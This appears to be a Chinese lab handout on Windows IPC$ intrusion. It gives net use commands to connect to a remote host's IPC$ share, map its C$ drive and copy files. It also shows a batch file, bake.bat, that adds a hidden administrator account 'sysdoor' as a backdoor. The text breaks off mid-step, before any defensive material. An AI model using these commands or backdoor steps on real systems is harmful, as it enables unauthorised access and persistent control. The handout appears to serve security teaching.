ipc$入侵防御实验.pdfVIP

IPC$入侵和防范实验 一、 试验目的： 学习使用 windows 系统自带 IPC$有关的的网络管理和控制命令，巩 固对所学知识的理解。 二、 试验内容： 通过使用 windows 系统自带的 IPC$有关的网络管理和控制命令， 观看其结果并进行分析，加深对这些工具的理解和灵活运用。 三、 试验环境： （1）安装WINDOWS NT 或 WINDOWS 2000 以上版本的操作系 统。 （2 ）已开放IPC$共享。 （3 ）已知远程主机IP 地址。 （4 ）已知远程主机的管理员帐号和密码（IPC$空连接除外） 其中远程主机所需条件： 1 、安装WINDOWS NT 或 WINDOWS 2000 以上版本的操 作系统。 2 、已开放IPC$共享。 3 、已启动 SERVER 服务。 四、试验步骤： ① 启动命令行控制台（虚拟机和本地机） 单击“开始”→“运行”，在“运行”对话框中键入： “CMD “ 令启动命令行控制台。 ② 查看 IPC$共享是否开放： Cmd——Net share ③ 在虚拟机上建立用户，并把用户加入 administators 组中 Net user 用户名 密码 /add Net localgroup administrators 用户名/add Net localgroup adminstrators ④ 建立 IPC$连接 在命令行提示符下键入如下命令： Net use \\IP 地址\ipc$ “密码”/user:用户名 如：Net use \\IP 地址\ipc$ “12345”/user:administrator ⑤映射网络驱动器 成功建立了 IPC$连接后，在命令行提示符下键入命令： Net use 本地盘符 \\IP 地址\共享名 如：Net use z: \\192.168.1.3\c$ 该命令的执行结果是将目标主机的C 盘映射为本地机的z 盘。 映射成功后，就可以对目标主机进行操作和控制了。 ⑥COPY 文件 命令格式：Copy 本地文件的路径\文件名 \\远程主机 IP\远 程主机文件路径。 如：Copy c:/bake.bat \\192.168.1.3\c$ ⑦ 断开 IPC$连接 在命令行提示符下键入命令： Net use \\IP 地址\IPC$/del 思考：如果不知道远程主机的用户名和密码，可以连接上远程主机吗？ 可以实现以上哪些操作？ ④ 留后门 （1）打开记事本编写批处理程序 建立后门的批处理程序为： Net user sysdoor 12345 /add Net localgroup administrator sysdoor /add 其中“Net user sysdoor 12345 /add “命令添加密码为 12345 的帐号 sysdoor 。“Net localgroup administrator sysdoor /add ” 命令则把 sysdoor 帐号添加到管理员组中去。 后门程序编写好后，需要起个名字，在我们的实验中将它 取名为“bake.bat” 。 （2 ）批处理程序建立好后，我们通过IPC$将它拷贝到目标主 机，命令格式为：Copy 本地文件的路径\文件名 \\远程主 机 IP\远程主机文件路径。 Copy c:/bake.bat \\192.168.1.3\c$ （3 ）